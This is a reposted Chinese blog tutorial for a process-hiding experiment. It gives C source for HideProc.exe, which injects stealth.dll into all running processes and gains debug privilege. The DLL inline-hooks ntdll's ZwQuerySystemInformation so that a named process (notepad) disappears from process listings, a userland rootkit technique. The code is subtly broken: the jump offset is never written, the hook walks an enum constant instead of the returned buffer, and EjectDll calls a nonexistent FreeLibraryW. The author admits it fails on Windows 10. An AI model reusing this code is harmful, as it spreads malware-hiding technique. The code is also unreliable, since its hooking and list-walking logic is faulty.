进程隐藏实验(隐藏notepad进程)
生活随笔
收集整理的這篇文章主要介紹了
进程隐藏实验(隐藏notepad进程)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
0x01須知
需要技術:全局API勾取。
原理:進程是內核對象,通過相關API可以檢測到他們,用戶模式下檢測API分為2類
CreateToolhelp32Snapshot()和EnumProcess()函數。但是2個API最終都會調用ntdll.ZwQuerySystemInformation()API
系統借助這個API可以獲得運行中所有進程的信息(結構體),形成一個鏈表,操作該鏈表把進程信息從列表中刪除即可隱藏相關進程。
需要解決的問題:每個進程監視的工具都需要鉤取,每個新打開的進程監視工具也需要立即進行鉤取。
實現思路:HideProc.exe負責將stealth.dll文件注入到所有運行的進程,Stealth.dll負責鉤取進程的ntdll.ZwQuerySystemInformation()API
0x02HideProc
InjectAllProcess()函數
#include"windows.h" #include"tlhelp32.h" BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) {DWORD dwPID = 0;HANDLE hSnapShot = INVALID_HANDLE_VALUE;PROCESSENTRY32 pe;//獲取系統快照pe.dwSize = sizeof(PROCESSENTRY32);hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);//查找進程Process32First(hSnapShot, &pe);do{dwPID = pe.th32ProcessID;//鑒于系統安全性考慮,PID小于100的系統進程不執行dll注入操作if (dwPID < 100){continue;}if (nMode == INJECTION_MODE)InjectDll(dwPID, szDllPath);elseEjectDll(dwPID, szDllPath);} while (Process32Next(hSnapShot, &pe));CloseHandle(hSnapShot);return TRUE; }負責獲取系統快照,,然后注入。
注入函數
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)//注入dll {HANDLE hProcess = NULL, hThread = NULL;HMODULE hMod = NULL;LPVOID pRemoteBuf = NULL;DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1)*sizeof(TCHAR);LPTHREAD_START_ROUTINE pThreadProc;//使用dwpid獲取目標進程句柄if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))){_tprintf(L"OpenProcess(%d) failed!!![%d]\n", dwPID, GetLastError());return FALSE;}//在目標進程內存中分配szDllname大小的內存pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);//分配物理存儲,可讀可寫//將myhack.dll路徑寫入分配的內存。WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);//獲取LoadLibraryW API的地址hMod = GetModuleHandle(L"Kernel32.dll");//獲取已經加載模塊的句柄pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");//獲取函數地址//在目標進程中運行線程hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);//創建遠程線程_tprintf(L"%d", GetLastError());WaitForSingleObject(hThread, INFINITE);CloseHandle(hProcess);printf("Inject : %d", GetLastError());return TRUE; }還需要提升權限
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)//提升權限,只有先提升HideProc.exe進程的權限(特權)才能準確獲取所有進程的列表 {TOKEN_PRIVILEGES tp;HANDLE hToken;LUID luid;if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)){_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError());return FALSE;}if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)){_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError());return FALSE;}tp.PrivilegeCount = 1;tp.Privileges[0].Luid = luid;if (bEnablePrivilege)tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;elsetp.Privileges[0].Attributes = 0;//enable the privilege or disable all privileges.if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)){_tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError());return FALSE;}if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){_tprintf(L"the token does nothave rhe specified privilege %d .\n",GetLastError());return FALSE;}printf("TQ %d", GetLastError());return TRUE; }卸載dll
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath) {HANDLE hProcess = NULL, hThread = NULL;HMODULE hMod = NULL;LPVOID pRemoteBuf = NULL;DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1)*sizeof(TCHAR);LPTHREAD_START_ROUTINE pThreadProc;if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))){_tprintf(L"OpenProcess(%d) failed!!![%d]\n", dwPID, GetLastError());}pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);hMod = GetModuleHandle(L"Kernel32.dll");pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "FreeLibraryW");hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);_tprintf(L"%d", GetLastError());CloseHandle(hProcess);return TRUE; }還有一個main
int _tmain(int argc, TCHAR* argv[]) {int nMode = INJECTION_MODE;HMODULE hLib = NULL;PFN_SetProcName SetProcName = NULL;if (argc != 4){printf("\n Usage : HideProc.exe <-hide|-show> <Process name> <dll path>\n\n");return 1;}SetPrivilege(SE_DEBUG_NAME, TRUE);hLib = LoadLibrary(argv[3]);SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");SetProcName(argv[2]);if (!_tcsicmp(argv[1], L"-show"))nMode = EJECTION_MODE;InjectAllProcess(nMode, argv[3]);FreeLibrary(hLib);return 0; } //調用dll導出函數的方法:LoadLibrary --> GetProcAddress(獲取導出函數的地址) --> 調用導出函數//使用一個函數的地址調用一個函數方法:定義:typedef void(*PFN_SetProcName)(LPCTSTR szProcName); 實體化:PFN_SetProcName SetProcName = NULL; 調用:SetProcName(argv[2]);dll實現
#include"windows.h" #include"tlhelp32.h" #include "tchar.h" #include "stdio.h"#define STATUS_SUCCESS (0x00000000L) typedef LONG NTSTATUS;typedef enum _SYSTEM_INFORMATION_CLASS {SystemBasicInformation = 0,SystemPerformanceInformation = 2,SystemTimeOfDayInformation = 3,SystemProcessInformation = 5,SystemProcessorPerformanceInformation = 8,SystemInterruptInformation = 23,SystemExceptionInformation = 33,SystemRegistryQuotaInformation = 37,SystemLookasideInformation = 45 } SYSTEM_INFORMATION_CLASS;//該結構體鏈表中存儲著運行中所有進程的信息,這里的鏈表是一段連續的空間。 typedef struct _SYSTEM_PROCESS_INFORMATION {ULONG NextEntryOffset;ULONG NumberOfThreads;BYTE Reserved1[48];PVOID Reserved2[3];HANDLE UniqueProcessId;PVOID Reserved3;ULONG HandleCount;BYTE Reserved4[4];PVOID Reserved5[11];SIZE_T PeakPagefileUsage;SIZE_T PrivatePageCount;LARGE_INTEGER Reserved6[6]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;typedef NTSTATUS(WINAPI *PFZWQUERYSYSTEMINFORMATION) (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);#define DEF_NTDLL ("ntdll.dll") #define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")BYTE g_pOrgBytes[5] = { 0 };//global variable (in sharing memory) #pragma comment(linker,"/SECTION:.SHARE,RWS") #pragma data_seg(".SHARE") TCHAR g_szProcName[MAX_PATH] = { 0 };#pragma data_seg()//export function #ifdef __cplusplus extern "C"{ #endif__declspec(dllexport) void SetProcName(LPCTSTR szProcName){_tcscpy_s(g_szProcName, szProcName);}#ifdef __cplusplus } #endif//包含要鉤取API的dll模塊文件名稱 , 要鉤取的API名稱 , 用戶提供的鉤取函數地址 , 存儲原來的5字節緩沖區 BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes) {FARPROC pfnOrg;DWORD dwOldProtect, dwAddress;byte pBuf[5] = { 0xE9, 0, };PBYTE pByte;//獲取要鉤取的API地址pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);//szDllName模塊的szFuncName函數pByte = (PBYTE)pfnOrg;//若已被鉤取則返回FALSEif (pByte[0] == 0xE9)//0xE9表示跳轉指令{return FALSE;}//為了修改5個字節,先向內存中添加寫屬性VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);//備份原有代碼memcpy(pOrgBytes, pfnOrg, 5);//計算jmp地址 (E9 XXXXXXXX)//XXXXXXXX = (DWORD)pfnNew - (DWORD)pfnOrg - 5;//XXXXXXXX=要跳轉的地址-當前指令地址-當前指令長度 dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5; //減是因為采用小端存儲memcpy(pfnOrg, pBuf, 5);//恢復內存屬性VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);return TRUE;} //獲取函數要修改函數地址 --> 計算jmp偏移 --> 更改權限 --> 保存,寫入數據 --> 更改權限 //所謂鉤取,在要鉤取的函數的開始幾個字節改成jmp指令跳轉到注入的dll中執行設計好的函數// BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)// {FARPROC pfnOrg;DWORD dwOldProtect, dwAddress;byte pBuf[5] = { 0xE9, 0, };PBYTE pByte;//獲取要unhook的API地址pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);//szDllName模塊的szFuncName函數pByte = (PBYTE)pfnOrg;//若未被鉤取則返回FALSEif (pByte[0] != 0xE9)//0xE9表示跳轉指令{return FALSE;}//為了修改5個字節,先向內存中添加寫屬性VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);//備份原有代碼memcpy(pfnOrg, pOrgBytes, 5);memcpy(pBuf, pfnOrg, 5);//恢復內存屬性VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);return TRUE; } //所謂unhook就是把原本模塊對應函數出修改的jmp指令還原為原本的指令NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {NTSTATUS status;FARPROC pFunc;PSYSTEM_PROCESS_INFORMATION pCur, pPrev;char szProcName[MAX_PATH] = { 0, };//開始前先脫鉤unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);//調用原始APIpFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), DEF_ZWQUERYSYSTEMINFORMATION);status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(Syst emInformationClass, SystemInformation, SystemInformationLength, ReturnLength);if (status != STATUS_SUCCESS)goto __NIQUERYSYSTEMINFORMATION_ENND;//僅僅針對SystemProcessInformation類型操作if (SystemInformationClass == SystemProcessInformation){//SYSTEM_PROCESS_INFORMATION類型轉換//pCur是單向鏈表的頭pCur = (PSYSTEM_PROCESS_INFORMATION)SystemProcessInformation;while (TRUE){//比較進程名稱//g_szProcName為要隱藏的進程名稱if (pCur->Reserved2[1] != NULL){if (!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))//Reserved2[1]里面存放著進程名{//從鏈表中刪除要隱藏進程的名稱if (pCur->NextEntryOffset == 0)pPrev->NextEntryOffset = 0;elsepPrev->NextEntryOffset += pCur->NextEntryOffset;//這里需要用加等}elsepPrev = pCur;}if (pCur->NextEntryOffset == 0)break;//鏈表的下一項pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);}} __NIQUERYSYSTEMINFORMATION_ENND://函數終止前再次執行API鉤取操作位下次調用準備hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes);return status; }BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvRserved) {char szCurProc[MAX_PATH] = { 0, };char *p = NULL;//異常處理,如果當前進程位HideProc。exe則終止,不進行操作GetModuleFileNameA(NULL, szCurProc, MAX_PATH);p = strrchr(szCurProc, '\\');//找到filename//if ((p != NULL) && !_stricmp(p + 1, "HideProc.exe"))//return TRUE;switch (fdwReason){//API鉤取case DLL_PROCESS_ATTACH:hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes);//鉤取DEF_NTDLL模塊的DEF_ZWQUERYSYSTEMINFORMATION函數鉤取到了之后將執行NewZwQuerySystemInformation,用來存儲被鉤取函數的原數據break;//脫鉤case DLL_PROCESS_DETACH:unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);break;}return TRUE; }win10測試不通過,很不穩定,暫時不知道什么原因。
總結
以上是生活随笔為你收集整理的进程隐藏实验(隐藏notepad进程)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java开发环境变量配置
- 下一篇: java配置环境变量path路径不起效